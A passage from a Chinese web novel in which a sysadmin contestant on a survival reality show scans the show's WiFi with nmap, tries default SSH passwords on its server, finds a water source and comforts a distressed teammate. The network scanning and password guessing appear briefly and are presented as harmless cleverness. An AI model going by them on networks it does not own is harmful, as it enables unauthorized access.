陈末想起来了。他当时说完那句话后,低头用手机计算,镜头给了特写。那个片段后来被剪进花絮,还上了热搜,标题是“打工人算工资的执着”。 “那段镜头时长是多少?”他问。 秦澜打开平板,她居然下载了节目正片和花絮。快速找到那个片段——时长7秒。 陈末输入:0007 Unlock successful. Releasing mechanism... 岩缝里传来“咔哒”一声轻响,然后是电机转动的声音。几秒钟后,那个金属箱自己滑了出来——底部果然有小轮子。 楚曦打开箱子,里面是折叠帐篷布、支架、地钉,还有一张纸条: “恭喜破解技术关卡。作为奖励,额外提供:太阳能充电板一块,蓄电池一组,USB集线器一个。祝你们在岛上‘联网’愉快。” 陈末看着那些设备,又看看手机上那个WiFi信号。 他突然有种预感:这个荒岛挑战,可能不只是生存模拟。 而是一场大型的、实境的、真人版系统压力测试。 而测试目标,很可能就是他。 远处,蓝队营地方向升起一缕青烟——他们似乎已经开始生火了。 陈末看了看时间:上午九点四十七分。 距离第一个任务截止还有两小时十三分钟。 距离那个论坛帖子发酵,还有未知的时间。 而他的手机电量,还剩百分之十八。 33. 系统过载:苏小雨的崩溃 上午十点二十分,黄队营地初具雏形。 帐篷已经搭好——是那种专业的三季帐,陈末检查了每一根支架的连接点,确认受力均匀。楚曦在帐篷周围挖了排水沟,秦澜则用找到的太阳能板和蓄电池组装了一个临时充电站。 “电量输入效率大约18%。”秦澜看着平板上的监控数据,“阳光充足的情况下,充满这块蓄电池需要五小时。好消息是,它能输出220V交流电。” 陈末正在用网线钳修理一个松动的帐篷扣。听到有电,他抬头:“能给我的笔记本电脑供电吗?” “可以,但耗电量很大。”秦澜计算,“你的笔记本功率约65瓦,蓄电池容量200瓦时,满电状态下只能支撑三小时。” “够了。”陈末从包里拿出笔记本——他居然真的带了。开机,连接上那个“Survival_Island_Admin”的WiFi网络。 信号强度比之前好了一些,三格。他打开终端,尝试扫描网络内的其他设备。 nmap -sn 192.168.1.0/24 结果出乎意料:除了他们刚破解的那个箱子(IP:192.168.1.101),网络中还有七个在线设备。其中三个是摄像头(IP尾数201-203),两个是传感器(尾数301-302),一个是……服务器(尾数50)。 陈末尝试访问服务器:ssh 需要密码。他试了几个默认密码(admin、password、123456),都不对。但连接尝试触发了某种响应——服务器回传了一条信息: “欢迎访问生存岛中央控制系统。当前在线队伍:2。任务一完成进度:黄队60%,蓝队45%。实时排名可在任务面板查看。” 任务面板?陈末在浏览器输入那个IP,果然打开了一个简陋的网页界面。上面显示两队进度条,还有三个任务的图标——第一个亮着,后两个灰色锁定。 黄队的进度明细:营地建设80%,水源收集20%,食物储备10%。 蓝队:营地建设70%,水源收集30%,食物储备5%。 “这系统能看到我们的具体进度。”陈末把屏幕转向队友,“意味着节目组在岛上部署了大量传感器。帐篷搭好时进度跳了,说明有重量或图像识别。水源收集……我们还没开始,这20%哪来的?” 秦澜思考:“可能是我们找到了干涸河床,系统判定为‘识别水源’?” 楚曦擦着汗走过来:“管它呢。现在的问题是食物——我的军用口粮只够六餐,我们三个人两天一夜,至少要九餐。差额三顿。” 陈末看向四周的树林:“岛上有可食用植物吗?” “根据资料,”秦澜调出平板里的图鉴,“有野生芭乐、椰子、还有几种可食用蕨类。但需要辨别——有的植物有毒。” “先解决水。”陈末合上电脑,“秦澜,你收集的资料里,那个淡水渗出点距离多远?” “直线距离三百米,但需要爬一段岩坡。”秦澜放大地图,“实际路程可能五百米。” “我和楚曦去。”陈末开始收拾工具包,“你留守营地,监控系统信息。另外,注意蓝队的进度变化——如果有异常波动,可能意味着他们找到了隐藏道具。” “收到。”秦澜点头,像接受工作指令。 楚曦已经准备好水袋和绳索。两人出发时,陈末回头看了一眼营地的帐篷。在茂密树林的衬托下,那顶橘色帐篷像个突兀的科技产物。 阳光透过树叶缝隙洒下来,在林地上投出斑驳光点。路比想象中难走,腐殖土松软湿滑,藤蔓缠绕。楚曦在前面开路,动作敏捷得像只豹子。 “你体能不错。”爬上一个陡坡时,楚曦回头说,“很多程序员爬三层楼都喘。” “系统管理员需要经常搬服务器。”陈末调整呼吸节奏,“最重的一次是UPS电池,单块32公斤,一次换四块。” “那确实锻炼。”楚曦伸手拉他一把,“到了,应该就是前面。” 岩坡顶端是一片相对平坦的台地。秦澜说的渗出点在一面岩壁下方——那里长着茂密的苔藓,岩缝确实有水滴渗出,但速度极慢,每分钟大约五到六滴。 “这不够。”楚曦皱眉,“接满一升水要……好几天。” 陈末蹲下检查岩壁结构。渗水点周围岩石潮湿,但上方三米处有一道横向裂缝,裂缝里长着蕨类植物。 “水是从上面下来的。”他分析,“裂缝可能是地下水脉的露头。如果能扩大出水口……” “用工具凿开?”楚曦从腰间取下多功能刀,有小型凿子头。 “先扫描。”陈末拿出手机,打开一个声波检测APP——这是他用来检测服务器机房墙体空鼓的工具。把手机贴在岩壁上不同位置,通过声波反射判断内部结构。 “这里。”他指着裂缝左侧一个点,“后面空洞较大,可能有蓄水腔。但岩壁厚度……约十二厘米。” 楚曦估算:“我的刀凿不动这么厚的石头。” 陈末思考。他打开工具包,翻找可用物品。螺丝刀、钳子、测电笔……都不行。然后他看到了那本书——《Linux服务器运维实战》。 硬壳精装,书脊结实。 “用这个。”他把书递给楚曦,“垫在凿击点上,减少刀刃损伤。我来定位,你用力。” 楚曦接过书,表情复杂:“林薇知道你这么用她的书吗?” “书是工具,工具要物尽其用。”陈末面不改色,“开始吧。瞄准这个点,角度垂直,用力均匀。” 楚曦深吸一口气,挥臂凿击。第一次,只留下白点。第二次,岩屑飞溅。第三次…… “咔。” 一道细裂缝出现了。 陈末立刻贴耳倾听。有细微的流水声从裂缝后传来——很微弱,但确实有。 “继续。但小心,如果水压大,可能会喷涌。” 楚曦又凿了十几下。裂缝扩大到手指粗细。忽然,一股细流涌出——不是滴,是流。 “成功了!”楚曦后退一步,水流很快稳定成稳定的细线,每分钟流量约两百毫升。 陈末拿出水袋接水,同时计算:“按这个速度,一小时十二升,足够两队使用。但需要存储装置……” “用这个。”楚曦从背包侧袋拿出两个可折叠水桶,“节目组发的生存包里的,每个五升容量。” 接水需要时间。等待时,陈末打开手机,刷新那个论坛页面。 帖子回复数已经涨到四十三。最新几条开始出现“实锤”语气: “内部消息:合同是真的,日薪七位数。节目组用素人天价片酬制造话题。” “如果这样,陈末的所有‘真实表现’都是演技吧?细思极恐。” “但他母亲手术是真的啊,医院都有人证实了。” “手术费可能就是片酬预支。一场完美的营销。” 陈末面无表情地看完,关掉页面。他打开手机备忘录,新建一条: 【舆论风险评估更新】 威胁等级:7→8(证据链开始形成) 潜在爆发点:合同照片泄露 当前防御措施:1.花絮对冲(已执行) 2.真实表现持续输出(进行中) 新增应对方案待制定 楚曦忽然说:“你对这些事,好像……没什么情绪波动?” 陈末抬头:“情绪是系统负载,波动会影响决策效率。” “但你也是人。”楚曦接满一桶水,换上空桶,“人都有情绪。” “我有。”陈末认真地说,“当系统故障导致业务中断时,我的情绪指标会飙升。当漏洞被修复时,会感到满足。当预算被批准时……会计算投资回报率。” “听起来像机器人。” “机器人不会算账。”陈末说,“我会。” 接满两桶水花了二十五分钟。回营地的路上,陈末的手机震动——是刘导的加密消息: “注意:蓝队苏小雨情绪异常,已离队独处。在你们营地西南方向约一百五十米处。摄像已跟随,但保持距离。如有必要,可介入。” 陈末皱眉。苏小雨离队?在王烁和林薇都在的情况下? 楚曦注意到他的表情:“怎么了?” “苏小雨可能遇到问题。”陈末说,“刘导发消息,她独自离开了蓝队营地。” “那个小姑娘……”楚曦皱眉,“王烁没管?” “不清楚。”陈末看了看时间,上午十一点零五,“我们先回营地放水,然后我去看看。” “我和你一起。” “不,营地需要人守卫。”陈末说,“秦澜一个人不够。我速去速回。” 回到营地时,秦澜正在监控系统。她抬头:“蓝队进度有波动——食物储备进度从5%跌到2%,又跳回5%。异常。” “可能数据错误。”陈末放下水桶,“我去查看一个情况,二十分钟内回来。” “需要什么装备?”楚曦问。 “基础工具包和医疗包。”陈末检查自己的包,“另外……带点糖。” “糖?” “低血糖可能是情绪崩溃的诱因之一。”陈末从自己的能量棒里掰下一块,“苏小雨的零食都是高盐高脂,缺乏快速供能物质。” 按照刘导给的方向,陈末很快找到踪迹——草地上有明显的新鲜脚印,方向杂乱,说明走路的人步伐不稳。 一百五十米外,是一片茂密的灌木丛。陈末听到隐约的抽泣声。 他放轻脚步走过去。灌木丛后有一小块空地,苏小雨蹲在那里,抱着膝盖,肩膀一耸一耸的。 她没有发现陈末。陈末也没有立刻过去。他先观察环境:空地安全,没有危险植物或动物痕迹。然后评估苏小雨的状态:呼吸急促、肩膀紧绷、哭声压抑——典型的情绪过载表现。 他打开手机备忘录,快速记录: 【情绪故障诊断】 症状:隔离行为、哭泣、呼吸异常 可能诱因:1.生理(低血糖/脱水)2.心理(压力超载)3.环境(人际冲突) 修复优先级:高(影响任务完成) 记录完,他收起手机,制造了一点脚步声。 苏小雨猛地抬头,脸上满是泪痕。看到是陈末,她先是一愣,然后哭得更厉害了。 “陈、陈末老师……你怎么……” “刘导说你离队了。”陈末走到她面前两米处停下——安全距离,不构成压迫,“需要帮助吗?” “我……我没事……”她抹着眼泪,但眼泪越抹越多,“我就是……就是觉得好累……” 陈末从包里拿出那半块能量棒,还有水壶,递过去。 “先补充能量。你早上吃了什么?” 苏小雨接过能量棒,小声说:“就吃了王烁哥给的三明治……一小口,不饿……” “摄入不足。”陈末判断,“另外,你出汗量很大,需要补水。” 苏小雨乖乖喝了口水,啃着能量棒。吃了半块后,她情绪似乎稳定了一些。 “对不起……我太没用了。”她低着头,“林薇姐那么能干,什么都会。王烁哥也一直说我们要赢……可是我……我连帐篷都搭不好,找水也找不到,刚才还差点被蛇吓到……” “蛇?”陈末警觉起来,“什么样的蛇?” “就是……绿色的,小小的,从我脚边爬过去……”苏小雨比划着,“林薇姐说是无毒的青蛇,但我还是好怕……” 陈末理解了。多重压力源叠加:生理压力(饥饿、疲劳)、环境压力(野外恐惧)、社交压力(团队内比较)、表现压力(任务竞争)……苏小雨的情感处理系统过载了。 “你的反应很正常。”他说,“野外环境对人类来说是非自然的。恐惧是进化赋予的防御机制。” “可是林薇姐就不怕……” “林薇拍过野外求生题材的电影,受过专业训练。”陈末说,“你是个偶像,主要技能是唱歌跳舞。用运维术语说,你们运行在不同的操作系统上,比较性能指标没有意义。” 苏小雨眨着泪眼:“什么意思?” “意思是,”陈末组织她能听懂的语言,“你不能要求Windows系统跑得像Linux一样稳定,也不能要求偶像在荒岛上表现得像生存专家。系统设计目标不同。” “那……那我该做什么?” “做你擅长的。”陈末说,“比如,你可